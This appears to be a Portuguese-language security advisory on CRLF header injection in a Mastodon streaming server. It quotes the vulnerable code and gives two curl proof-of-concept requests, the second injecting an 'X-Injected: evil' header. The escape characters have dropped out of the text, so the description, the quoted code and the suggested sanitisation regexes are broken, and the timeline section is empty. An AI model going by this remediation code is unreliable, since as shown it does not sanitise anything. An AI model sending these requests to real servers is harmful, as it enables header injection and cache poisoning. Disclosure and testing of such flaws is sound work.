CVE-2026-XXXXX: Injeção de Cabeçalho de Resposta HTTP (CRLF) no Servidor de Streaming do Mastodon

Visão Geral da Vulnerabilidade

Descrição da Vulnerabilidade

Quando uma solicitação de upgrade WebSocket falha na autenticação, o Servidor de Streaming do Mastodon em streaming/index.js linhas 188-206 constrói uma resposta HTTP manual e escreve errorMessage diretamente no cabeçalho de resposta X-Error-Message via socket.end() SEM sanitizar os caracteres ou .

Isso permite que um atacante remoto não autenticado injete cabeçalhos HTTP arbitrários ou realize Divisão de Resposta HTTP (HTTP Response Splitting).

Código Vulnerável (streaming/index.js linhas 188-206)

const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

Impacto

• Injeção de Cabeçalho HTTP: Injetar cabeçalhos HTTP arbitrários
• Divisão de Resposta HTTP: Injetar segundo corpo de resposta HTTP (envenenamento de cache)
• Divulgação de Informações: Mensagens de erro internas expostas a usuários não autenticados

Prova de Conceito

PoC 1 - Detecção Básica

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

Esperado: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - Injeção CRLF

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

Remediação

Sanitizar errorMessage antes de escrever no cabeçalho do socket:

const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

Linha do Tempo

Referências

• https://github.com/mastodon/mastodon
• https://cwe.mitre.org/data/definitions/74.html

Aviso: Este PoC é apenas para fins educacionais e de pesquisa em segurança.